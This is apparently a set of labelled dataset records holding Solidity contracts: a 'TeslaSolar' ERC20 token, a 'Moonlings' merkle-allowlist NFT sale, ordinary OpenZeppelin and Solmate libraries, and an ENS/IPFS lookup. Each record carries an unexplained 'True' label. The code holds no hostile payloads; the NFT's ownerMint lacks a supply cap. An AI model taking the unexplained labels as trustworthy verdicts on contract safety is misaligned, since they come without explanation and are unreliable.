require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract TeslaSolar is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "TeslaSolar";
symbol = "TSO";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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|
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// ============ Imports ============
import {ERC721} from "./ERC721.sol"; // Solmate: ERC721
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; // OZ: MerkleProof
import {PaymentSplitter} from "@openzeppelin/contracts/finance/PaymentSplitter.sol";
/// @title MerkleClaim721
/// @notice ERC721 claimable by members of a merkle tree
contract Moonlings is ERC721, PaymentSplitter {
/// ============ Immutable storage ============
uint256 public constant maxSupply = 10000;
uint256 public constant price = 69000000000000000;
/// ============ Mutable storage ============
bytes32 public merkleRoot;
bool public publicSaleIsOpen;
bool public whitelistIsOpen;
bool public isRevealed;
address public owner;
uint256 public currentSupply;
string public baseURI = "ipfs://QmSNKJDGXjA8hj7LyD7F4C2R1wV7zTWkdpgLPwFmLLXSPx";
/// @notice Mapping of addresses who have claimed tokens
mapping(address => uint256) public hasClaimed;
/// ============ Errors ============
/// @notice Thrown if address has already claimed
error AlreadyClaimed();
/// @notice Thrown if address/amount are not part of Merkle tree
error NotInMerkle();
/// @notice Thrown if bad price
error PaymentNotCorrect();
error NotOwner();
error MintExceedsMaxSupply();
error TooManyMintsPerTransaction();
error AllowlistSaleNotStarted();
error PublicSaleNotStarted();
/// ============ Constructor ============
/// @notice Creates a new MerkleClaimERC721 contract
constructor(
string memory name,
string memory symbol,
address[] memory payees,
uint256[] memory shares
) ERC721(name, symbol) PaymentSplitter(payees, shares) {
owner = msg.sender;
}
/// ============ Events ============
/// @notice Emitted after a successful token claim
/// @param to recipient of claim
/// @param amount of tokens claimed
event Claim(address indexed to, uint256 amount);
event Mint(address indexed to, uint256 amount);
/// ============ Public Functions ============
/// @notice Allows claiming tokens if address is part of merkle tree
/// @param to address of claimee
/// @param proofAmount of tokens owed to claimee in merkle tree
/// @param mintAmount of tokens claimee wants to mint in this call
/// @param proof merkle proof to prove address and amount are in tree
function claim(
address to,
uint256 proofAmount,
uint256 mintAmount,
bytes32[] calldata proof
) external payable {
if (!whitelistIsOpen) revert AllowlistSaleNotStarted();
if (mintAmount > proofAmount) revert();
// Verify merkle proof, or revert if not in tree
bytes32 leaf = keccak256(abi.encodePacked(to, proofAmount));
bool isValidLeaf = MerkleProof.verify(proof, merkleRoot, leaf);
if (!isValidLeaf) revert NotInMerkle();
unchecked {
// Throw if address has already claimed tokens
if (hasClaimed[to] + mintAmount > proofAmount) revert AlreadyClaimed();
if (msg.value != price * mintAmount) revert PaymentNotCorrect();
// Set address to claimed
hasClaimed[to] += mintAmount;
// Mint tokens to address
for (uint256 i = 0; i < mintAmount; i++) {
_mint(to, ++currentSupply);
}
}
// Emit claim event
emit Claim(to, mintAmount);
}
function publicMint(uint256 amount) external payable {
if (!publicSaleIsOpen) revert PublicSaleNotStarted();
if (amount > 5) revert TooManyMintsPerTransaction();
unchecked {
if (currentSupply + amount > maxSupply) revert MintExceedsMaxSupply();
if (msg.value != price * amount) revert PaymentNotCorrect();
for (uint256 i = 0; i < amount; i++) {
_mint(msg.sender, ++currentSupply);
}
}
emit Mint(msg.sender, amount);
}
function tokenURI(uint256 id) public view override returns (string memory) {
if (isRevealed) {
return string(abi.encodePacked(baseURI, uint2str(id)));
} else {
return baseURI;
}
}
/// ============ Owner Functions ============
function setOwner(address newOwner) external {
if (msg.sender != owner) revert NotOwner();
owner = newOwner;
}
function ownerMint(address to, uint256 amount) external {
if (msg.sender != owner) revert NotOwner();
unchecked {
for (uint256 i = 0; i < amount; i++) {
_mint(to, ++currentSupply);
}
}
}
function setRoot(bytes32 _merkleRoot) external {
if (msg.sender != owner) revert NotOwner();
merkleRoot = _merkleRoot;
}
function reveal(string calldata _baseURI) external {
if (msg.sender != owner) revert NotOwner();
baseURI = _baseURI;
isRevealed = true;
}
function setBools(bool whitelist, bool publicSale) external {
if (msg.sender != owner) revert NotOwner();
whitelistIsOpen = whitelist;
publicSaleIsOpen = publicSale;
}
/// ========= Internal Functions ========
function uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/utils/SafeERC20.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*
* NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and
* tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you
* to run tests before sending real value to this contract.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
address owner = ownerOf[id];
require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED");
getApproved[id] = spender;
emit Approval(owner, spender, id);
}
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
require(from == ownerOf[id], "WRONG_FROM");
require(to != address(0), "INVALID_RECIPIENT");
require(
msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender],
"NOT_AUTHORIZED"
);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
balanceOf[from]--;
balanceOf[to]++;
}
ownerOf[id] = to;
delete getApproved[id];
emit Transfer(from, to, id);
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721
interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(ownerOf[id] == address(0), "ALREADY_MINTED");
// Counter overflow is incredibly unrealistic.
unchecked {
balanceOf[to]++;
}
ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
function _burn(uint256 id) internal virtual {
address owner = ownerOf[id];
require(ownerOf[id] != address(0), "NOT_MINTED");
// Ownership check above ensures no underflow.
unchecked {
balanceOf[owner]--;
}
delete ownerOf[id];
delete getApproved[id];
emit Transfer(owner, address(0), id);
}
/*///////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | True | [
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|
pragma solidity ^0.4.24;
contract PublicResolver {
function text(bytes32 node, string key) constant returns (string ret) {
}
}
contract ipfsreg {
PublicResolver public publicResolver = PublicResolver(0x5FfC014343cd971B7eb70732021E26C35B744cc4);
function IPFShash(string _name) public view returns (string) {
return publicResolver.text(namehash(_name), "ipfs");
}
function tinyIPFShash(string _name) public view returns (string) {
return publicResolver.text(namehash(_name), "tinyipfs");
}
function namehash(string _name) public pure returns (bytes32 node) {
node = 0x0000000000000000000000000000000000000000000000000000000000000000;
node = keccak256(
abi.encodePacked(node, keccak256(abi.encodePacked('eth')))
);
node = keccak256(
abi.encodePacked(node, keccak256(abi.encodePacked(_name)))
);
}
} | True | [
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|
// SPDX-License-Identifier: GPL-3.0
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
